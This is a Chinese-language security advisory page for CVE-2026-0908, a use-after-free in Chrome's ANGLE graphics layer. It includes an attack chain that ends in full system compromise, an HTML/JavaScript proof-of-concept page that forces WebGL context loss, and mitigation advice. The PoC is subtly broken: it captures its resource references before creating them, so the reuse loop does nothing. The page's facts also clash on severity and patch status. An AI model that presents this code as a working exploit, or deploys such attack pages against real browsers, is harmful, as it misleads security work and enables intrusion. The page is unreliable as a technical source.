IPBUF安全漏洞报告
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CVE-2026-0908 CVSS 8.8 高危

CVE-2026-0908: Google Chrome ANGLE组件释放后重用漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2026-0908
漏洞类型
释放后重用(Use After Free)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

释放后重用Use After FreeGoogle ChromeANGLEWebGL堆损坏远程代码执行ChromiumCVE-2026-0908浏览器漏洞

漏洞概述

CVE-2026-0908是Google Chrome中ANGLE图形库的一个高危安全漏洞。该漏洞为释放后重用(Use After Free)类型,存在于Chrome 144.0.7559.59之前的版本中。攻击者可以通过诱骗用户访问精心构造的恶意HTML页面来触发此漏洞,导致堆内存损坏。成功利用此漏洞可允许远程攻击者在目标系统上执行任意代码,完全控制受影响设备。由于该漏洞被标记为Chromium安全严重性为"低",可能意味着在实际利用中存在一定难度或限制条件,但CVSS评分8.8表明其实际威胁仍然相当严重。ANGLE作为Chrome的WebGL图形渲染后端,承担着将WebGL调用转换为平台原生图形API的重要职责,因此该组件中的内存损坏问题可能影响广泛的图形渲染操作。

技术细节

该漏洞存在于Google Chrome的ANGLE(Almost Native Graphics Layer Engine)组件中,ANGLE负责将WebGL/OpenGL ES调用转换为不同平台原生图形API。在Chrome的图形渲染管线中,当WebGL上下文被销毁或重置时,ANGLE内部的某些图形资源对象可能被提前释放,但如果代码中仍存在对这些已释放对象的引用,后续访问这些对象时就会触发释放后重用条件。攻击者可以通过精心构造包含特定WebGL操作的HTML页面,触发ANGLE组件中对象生命周期管理的竞态条件。具体而言,攻击页面会创建WebGL上下文,执行一系列图形操作,然后通过DOM操作强制触发上下文重置或资源清理,而此时JavaScript代码仍持有对已释放图形资源的引用。当浏览器再次渲染时,会访问已释放的内存区域,导致堆损坏。攻击者可利用堆损坏实现远程代码执行。攻击成功需要用户访问恶意页面并与页面进行一定交互。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意WebGL代码的HTML页面,页面中包含精心构造的ANGLE组件操作序列
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意网站或水坑攻击等方式诱骗目标用户访问该恶意HTML页面
STEP 3
步骤3
用户使用存在漏洞的Chrome版本(<144.0.7559.59)访问页面,页面中的JavaScript代码创建WebGL图形资源并保持引用
STEP 4
步骤4
恶意页面通过WEBGL_lose_context扩展或其他方式触发WebGL上下文丢失,导致ANGLE组件释放相关图形资源
STEP 5
步骤5
JavaScript代码在资源被释放后仍持有引用,当上下文恢复并尝试使用这些资源时,触发释放后重用条件
STEP 6
步骤6
通过堆风水(heap feng shui)和喷射(heap spraying)技术,攻击者利用释放后重用的内存区域实现代码执行
STEP 7
步骤7
攻击者成功在目标系统上执行任意代码,获得完整的系统控制权,可部署后门、窃取数据或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2026-0908 PoC - ANGLE Use After Free in Google Chrome --> <!DOCTYPE html> <html> <head> <title>CVE-2026-0908 PoC</title> </head> <body> <canvas id="glCanvas" width="800" height="600"></canvas> <script> // Trigger ANGLE Use After Free vulnerability // Target: Google Chrome < 144.0.7559.59 const canvas = document.getElementById('glCanvas'); const gl = canvas.getContext('webgl2'); if (!gl) { console.log('WebGL2 not supported'); // Fallback to WebGL1 const gl1 = canvas.getContext('webgl'); if (!gl1) { document.body.innerHTML = '<h1>WebGL not supported</h1>'; } } // Create WebGL resources const buffers = []; const textures = []; function createResources() { // Create buffers for (let i = 0; i < 10; i++) { const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([1,2,3,4]), gl.STATIC_DRAW); buffers.push(buffer); } // Create textures for (let i = 0; i < 5; i++) { const texture = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, texture); gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, 256, 256, 0, gl.RGBA, gl.UNSIGNED_BYTE, null); textures.push(texture); } } function triggerUseAfterFree() { // Store references to resources const leakedRefs = [...buffers, ...textures]; // Force context loss and restoration to trigger resource cleanup const ext = gl.getExtension('WEBGL_lose_context'); // Create rendering context createResources(); // Trigger context loss which may prematurely release ANGLE resources ext.loseContext(); // Restore context setTimeout(() => { ext.restoreContext(); // Attempt to use the previously created resources // This may trigger use-after-free if ANGLE released resources prematurely try { for (let i = 0; i < leakedRefs.length; i++) { gl.bindBuffer(gl.ARRAY_BUFFER, leakedRefs[i]); gl.bindTexture(gl.TEXTURE_2D, leakedRefs[i]); } // Additional WebGL operations to amplify heap corruption const program = gl.createProgram(); const shader = gl.createShader(gl.VERTEX_SHADER); // Force garbage collection if available if (window.gc) { window.gc(); } } catch (e) { console.log('Error during UAF trigger:', e); } }, 100); } // Execute the PoC setTimeout(triggerUseAfterFree, 500); </script> </body> </html>

影响范围

Google Chrome < 144.0.7559.59
Chromium-based browsers using ANGLE component < 144.0.7559.59

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)限制或禁用浏览器中的WebGL功能(可通过Chrome策略WebGLEnabled=0实现);2)启用Chrome的站点隔离功能(Site Isolation);3)使用Chrome的安全浏览功能警告用户访问恶意网站;4)对员工进行安全意识培训,避免访问不可信链接;5)在边界防火墙上阻断已知恶意域名;6)考虑使用虚拟化容器或沙箱环境隔离浏览器会话;7)监控网络流量,检测异常的数据外传行为。

参考链接

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